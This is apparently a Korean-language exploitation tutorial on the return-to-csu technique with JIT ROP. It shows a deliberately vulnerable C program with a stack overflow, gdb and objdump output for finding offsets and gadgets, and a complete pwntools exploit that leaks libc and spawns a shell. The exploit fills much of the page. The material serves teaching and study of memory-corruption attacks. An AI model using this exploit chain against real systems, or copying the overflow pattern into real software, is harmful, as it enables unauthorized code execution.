...
Excuse the ads! We need some help to keep our site up.
List
return-to-csu (feat.JIT ROP)
- return-to-csu는 __libc_csu_init() 함수의 일부 코드를 Gadget으로 이용하는 기술 입니다.
- __libc_csu_init() 함수는 프로그램 실행시 _init() 함수와 __preinit_array, __init_array 에 설정된 함수 포인터를 읽어서 함수를 호출합니다.
- return-to-csu에서 사용되는 코드는 다음과 같습니다.
- 해당 코드는 __init_array에 저장된 함수 포인터를 읽어 호출하는 코드입니다.
...
Code Block |
---|
title | Conditional statement |
---|
|
4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
4005fd: 48 83 c3 01 add rbx,0x1
400601: 48 39 eb cmp rbx,rbp
400604: 75 ea jne 4005f0 <__libc_csu_init+0x40>
400606: 48 83 c4 08 add rsp,0x8
40060a: 5b pop rbx
40060b: 5d pop rbp
40060c: 41 5c pop r12
40060e: 41 5d pop r13
400610: 41 5e pop r14
400612: 41 5f pop r15
400614: c3 ret |
Proof of concept
File
Example code
- 해당 코드는 이전과 다르게 libc 영역의 주소를 출력하지 않습니다.
Code Block |
---|
|
//gcc -fno-stack-protector -o rop rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50];
read(0, buf, 512);
}
void main(){
write(1,"Hello ROP\n",10);
vuln();
} |
Overflow
- 다음과 같이 Breakpoints를 설정합니다.
0x4005f6: vuln 함수 코드 첫부분
0x40060f: read() 함수 호출 전
...
Code Block |
---|
|
Breakpoint 1, 0x00000000004005f6 in vuln ()
gdb-peda$ i r rsp
rsp 0x7fffffffe488 0x7fffffffe488
gdb-peda$ c
Continuing.
Breakpoint 2, 0x000000000040060f in vuln ()
gdb-peda$ i r rsi
rsi 0x7fffffffe440 0x7fffffffe440
gdb-peda$ p/d 0x7fffffffe488 - 0x7fffffffe440
$1 = 72
gdb-peda$ |
Exploit method
- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
...
Panel |
---|
- .bss 주소
- return-to-csu gadget 주소
- read, write 함수의 got 주소
- "/bin/sh"
|
Find the address of the .bss area
- 다음과 같이 .bss 영역의 주소를 찾을 수 있습니다.
Code Block |
---|
|
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init$ readelf -S ./rop
There are 31 section headers, starting at offset 0x1a28:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 0000000000400238 00000238
000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.ABI-tag NOTE 0000000000400254 00000254
0000000000000020 0000000000000000 A 0 0 4
[ 3] .note.gnu.build-i NOTE 0000000000400274 00000274
0000000000000024 0000000000000000 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0000000000400298 00000298
000000000000001c 0000000000000000 A 5 0 8
[ 5] .dynsym DYNSYM 00000000004002b8 000002b8
0000000000000078 0000000000000018 A 6 1 8
[ 6] .dynstr STRTAB 0000000000400330 00000330
0000000000000043 0000000000000000 A 0 0 1
[ 7] .gnu.version VERSYM 0000000000400374 00000374
000000000000000a 0000000000000002 A 5 0 2
[ 8] .gnu.version_r VERNEED 0000000000400380 00000380
0000000000000020 0000000000000000 A 6 1 8
[ 9] .rela.dyn RELA 00000000004003a0 000003a0
0000000000000018 0000000000000018 A 5 0 8
[10] .rela.plt RELA 00000000004003b8 000003b8
0000000000000048 0000000000000018 AI 5 24 8
[11] .init PROGBITS 0000000000400400 00000400
000000000000001a 0000000000000000 AX 0 0 4
[12] .plt PROGBITS 0000000000400420 00000420
0000000000000040 0000000000000010 AX 0 0 16
[13] .plt.got PROGBITS 0000000000400460 00000460
0000000000000008 0000000000000000 AX 0 0 8
[14] .text PROGBITS 0000000000400470 00000470
00000000000001b2 0000000000000000 AX 0 0 16
[15] .fini PROGBITS 0000000000400624 00000624
0000000000000009 0000000000000000 AX 0 0 4
[16] .rodata PROGBITS 0000000000400630 00000630
000000000000000f 0000000000000000 A 0 0 4
[17] .eh_frame_hdr PROGBITS 0000000000400640 00000640
000000000000003c 0000000000000000 A 0 0 4
[18] .eh_frame PROGBITS 0000000000400680 00000680
0000000000000114 0000000000000000 A 0 0 8
[19] .init_array INIT_ARRAY 0000000000600e10 00000e10
0000000000000008 0000000000000000 WA 0 0 8
[20] .fini_array FINI_ARRAY 0000000000600e18 00000e18
0000000000000008 0000000000000000 WA 0 0 8
[21] .jcr PROGBITS 0000000000600e20 00000e20
0000000000000008 0000000000000000 WA 0 0 8
[22] .dynamic DYNAMIC 0000000000600e28 00000e28
00000000000001d0 0000000000000010 WA 6 0 8
[23] .got PROGBITS 0000000000600ff8 00000ff8
0000000000000008 0000000000000008 WA 0 0 8
[24] .got.plt PROGBITS 0000000000601000 00001000
0000000000000030 0000000000000008 WA 0 0 8
[25] .data PROGBITS 0000000000601030 00001030
0000000000000010 0000000000000000 WA 0 0 8
[26] .bss NOBITS 0000000000601040 00001040
0000000000000008 0000000000000000 WA 0 0 1
[27] .comment PROGBITS 0000000000000000 00001040
0000000000000035 0000000000000001 MS 0 0 1
[28] .shstrtab STRTAB 0000000000000000 0000191a
000000000000010c 0000000000000000 0 0 1
[29] .symtab SYMTAB 0000000000000000 00001078
0000000000000678 0000000000000018 30 47 8
[30] .strtab STRTAB 0000000000000000 000016f0
000000000000022a 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init$ |
Find the address of the return-to-csu gadget
- 다음과 같이 return-to-csu gadget의 주소를 찾을 수 있습니다.
- Gadget 1 : 0x40060a
- Gadget 2 : 0x4005f0
- Gadget 3 : 0x40060d
Code Block |
---|
title | objdump -M intel -d ./rop |
---|
|
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init$ objdump -M intel -d ./rop
./rop: file format elf64-x86-64
Disassembly of section .init:
...
Disassembly of section .plt:
...
Disassembly of section .text:
...
00000000004005b0 <__libc_csu_init>:
4005b0: 41 57 push r15
4005b2: 41 56 push r14
4005b4: 41 89 ff mov r15d,edi
4005b7: 41 55 push r13
4005b9: 41 54 push r12
4005bb: 4c 8d 25 4e 08 20 00 lea r12,[rip+0x20084e] # 600e10 <__frame_dummy_init_array_entry>
4005c2: 55 push rbp
4005c3: 48 8d 2d 4e 08 20 00 lea rbp,[rip+0x20084e] # 600e18 <__init_array_end>
4005ca: 53 push rbx
4005cb: 49 89 f6 mov r14,rsi
4005ce: 49 89 d5 mov r13,rdx
4005d1: 4c 29 e5 sub rbp,r12
4005d4: 48 83 ec 08 sub rsp,0x8
4005d8: 48 c1 fd 03 sar rbp,0x3
4005dc: e8 1f fe ff ff call 400400 <_init>
4005e1: 48 85 ed test rbp,rbp
4005e4: 74 20 je 400606 <__libc_csu_init+0x56>
4005e6: 31 db xor ebx,ebx
4005e8: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
4005ef: 00
4005f0: 4c 89 ea mov rdx,r13
4005f3: 4c 89 f6 mov rsi,r14
4005f6: 44 89 ff mov edi,r15d
4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
4005fd: 48 83 c3 01 add rbx,0x1
400601: 48 39 eb cmp rbx,rbp
400604: 75 ea jne 4005f0 <__libc_csu_init+0x40>
400606: 48 83 c4 08 add rsp,0x8
40060a: 5b pop rbx
40060b: 5d pop rbp
40060c: 41 5c pop r12
40060e: 41 5d pop r13
400610: 41 5e pop r14
400612: 41 5f pop r15
400614: c3 ret
400615: 90 nop
400616: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0]
40061d: 00 00 00
Disassembly of section .fini:
...
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init$ |
Idea of using R8, R9, R10, R11, R12, R13, R14, R15 registers
다음와 같이 POP 명령어를 활용할 수 있습니다.
POP "R8, R9, R10, R11, R12, R13, R14, R15" 명령어들은 POP "RAX, RCX, RDX, RBX, RSP, RBP, RSI, RDI" 명령어로 활용가능합니다.
예를 들어 "POP R8" 명령어의 hex 값은 "41 58" 이기 때문에 "POP RAX" 명령어(hex 값은 "58")도 사용할 수 있습니다.
해당 Exploit code에서 0x40060d 주소를 3번째 Gadget으로 사용합니다.
해당 Gadget으로 인해 Gadget을 이용해 RSP 레지스터에 ".bss"영역으로 이동하여 저장된 ROP Chain을 실행하게 됩니다값을 저장할 수 있습니다.
여기에서는 해당 Gadget을 이용하여 RSP 레지스터에 다음 ROP코드가 저장된 영역의 주소를 저장하고, 해당 영역으로 이동하여 코드를 실행 합니다.
Panel |
---|
|
Register | Raw Hex(2byte) | Register | Raw Hex(1byte) |
---|
POP R8 | 41 58 | POP RAX | 58 | POP R9 | 41 59 | POP RCX | 59 | POP R10 | 41 5a | POP RDX | 5a | POP R11 | 41 5b | POP RBX | 5b | POP R12 | 41 5c | POP RSP | 5c | POP R13 | 41 5d | POP RBP | 5d | POP R14 | 41 5e | POP RSI | 5e | POP R15 | 41 5f | POP RDI | 5f |
|
Exploit code
Code Block |
---|
language | py |
---|
title | exploit.py |
---|
|
from pwn import *
from struct import *
#context.log_level = 'debug'
binary = ELF('./rop')
execve = 59
addr_bss = 0x601050
addr_got_read = binary.got['read']
addr_got_write = binary.got['write']
addr_got_start = binary.got['__libc_start_main']
addr_csu_init1 = 0x40060a
addr_csu_init2 = 0x4005f0
addr_csu_init3 = 0x40060d
stacksize = 0x400
base_stage = addr_bss + stacksize
p = process(binary.path)
p.recvn(10)
# stage 1: read address of __libc_start_main()
buf = 'A' * 72
#Gadget 1
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(8)
buf += p64(addr_got_start)
buf += p64(1)
#Gadget 2 - write(1,__libc_start_main,8)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(400)
buf += p64(base_stage)
buf += p64(0)
#Gadget 2 - Call read(0,.bss + 0x400,400)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(addr_csu_init3)
buf += p64(base_stage)
p.send(buf)
libc_addr = u64(p.recv())
log.info("__libc_start_main : " + hex(libc_addr))
libc_bin = ''
libc_readsize = 0x190000
# stage 2: "/bin/sh\x00" and JIT ROP
buf = "/bin/sh\x00"
buf += 'A' * (24-len(buf))
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(libc_readsize)
buf += p64(libc_addr)
buf += p64(1)
#Gadget 1 - write(1,Address of leak libc,0x190000)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(100)
buf += p64(base_stage + len(buf) + 8 * 10)
buf += p64(0)
#Gadget 2 - read(0,"base_stage + len(buf) + 8 * 10" ,100)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
p.send(buf)
with log.progress('Reading libc area from memory...') as l:
for i in range(0,libc_readsize/4096):
libc_bin += p.recv(4096)
l.status(hex(len(libc_bin)))
offs_pop_rax = libc_bin.index('\x58\xc3') # pop rax; ret
offs_pop_rdi = libc_bin.index('\x5f\xc3') # pop rdi; ret
offs_pop_rsi = libc_bin.index('\x5e\xc3') # pop rsi; ret
offs_pop_rdx = libc_bin.index('\x5a\xc3') # pop rdx; ret
offs_syscall = libc_bin.index('\x0f\x05') # syscall
log.info("Gadget : pop rax; ret > " + hex(libc_addr + offs_pop_rax))
log.info("Gadget : pop rdi; ret > " + hex(libc_addr + offs_pop_rdi))
log.info("Gadget : pop rsi; ret > " + hex(libc_addr + offs_pop_rsi))
log.info("Gadget : pop rdx; ret > " + hex(libc_addr + offs_pop_rdx))
log.info("Gadget : syscall > " + hex(libc_addr + offs_syscall))
# stage 3: execve("/bin/sh", NULL, NULL)
buf = p64(libc_addr + offs_pop_rax)
buf += p64(execve)
buf += p64(libc_addr + offs_pop_rdi)
buf += p64(base_stage)
buf += p64(libc_addr + offs_pop_rsi)
buf += p64(0)
buf += p64(libc_addr + offs_pop_rdx)
buf += p64(0)
buf += p64(libc_addr + offs_syscall)
p.send(buf)
p.interactive() |
Code Block |
---|
|
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init$ python exploit.py
[*] '/home/lazenca0x0/Exploit/__libc_csu_init'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/lazenca0x0/Exploit/__libc_csu_init/rop': pid 17217
[*] __libc_start_main : 0x7f6cd6ae5740
[+] Reading libc area from memory...: Done
[*] Gadget : pop rax; ret > 0x7f6cd6af8544
[*] Gadget : pop rdi; ret > 0x7f6cd6ae6102
[*] Gadget : pop rsi; ret > 0x7f6cd6ae7bb5
[*] Gadget : pop rdx; ret > 0x7f6cd6bda0a6
[*] Gadget : syscall > 0x7f6cd6ae58a4
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ |
References
...